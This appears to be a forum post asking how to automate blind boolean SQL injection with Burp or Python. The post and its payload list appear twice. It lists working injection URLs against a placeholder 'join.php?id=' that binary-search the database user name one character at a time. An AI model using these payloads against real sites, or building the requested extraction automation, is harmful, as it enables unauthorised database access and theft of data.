Pardon my poor english :S Below is a example I'd like to batch process:
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<200 -- True.
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<100 -- False
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>100 -- True
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>150 -- false
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<150 -- True
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>125 -- False
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<125 -- True
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>112 -- False
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<112 --True
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>106 --False
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<106 --True
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>103 --True
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>105 -- False
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<105 -- True
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>104 -- False
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<104 -- False
http://site/join.php?id=6//and//ascii(substring(user(),1,1)) =104 --True ===>104 = h
For the normal blind sqli, one can use the above boolean test to manually figure out a character's decimal value is 104 (thus the character is 'h'). I am looking for a way to batch process those tests in BURP so I don't have to manually perform it and repeat the same for multiple parameters throughout the entire site. If I undertand you correctly, burp don't seems have that features yet....
My programming knowledge only goes as far as basic bash script....Is there a good tutorial for python showing me how to achieve what I need(as comprenhensive as yours preferably ^_^)?
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<200 -- True.
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<100 -- False
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>100 -- True
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>150 -- false
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<150 -- True
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>125 -- False
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<125 -- True
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>112 -- False
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<112 --True
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>106 --False
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<106 --True
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>103 --True
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>105 -- False
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<105 -- True
http://site/join.php?id=6//and//ascii(substring(user(),1,1))>104 -- False
http://site/join.php?id=6//and//ascii(substring(user(),1,1))<104 -- False
http://site/join.php?id=6//and//ascii(substring(user(),1,1)) =104 --True ===>104 = h
For the normal blind sqli, one can use the above boolean test to manually figure out a character's decimal value is 104 (thus the character is 'h'). I am looking for a way to batch process those tests in BURP so I don't have to manually perform it and repeat the same for multiple parameters throughout the entire site. If I undertand you correctly, burp don't seems have that features yet....
My programming knowledge only goes as far as basic bash script....Is there a good tutorial for python showing me how to achieve what I need(as comprenhensive as yours preferably ^_^)?



